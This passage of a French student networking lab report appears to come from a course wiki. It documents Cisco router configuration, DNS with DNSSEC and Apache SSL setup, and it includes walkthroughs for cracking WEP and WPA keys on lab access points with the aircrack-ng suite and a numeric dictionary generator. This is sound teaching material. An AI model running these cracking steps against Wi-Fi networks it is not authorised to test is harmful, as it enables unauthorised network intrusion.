Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
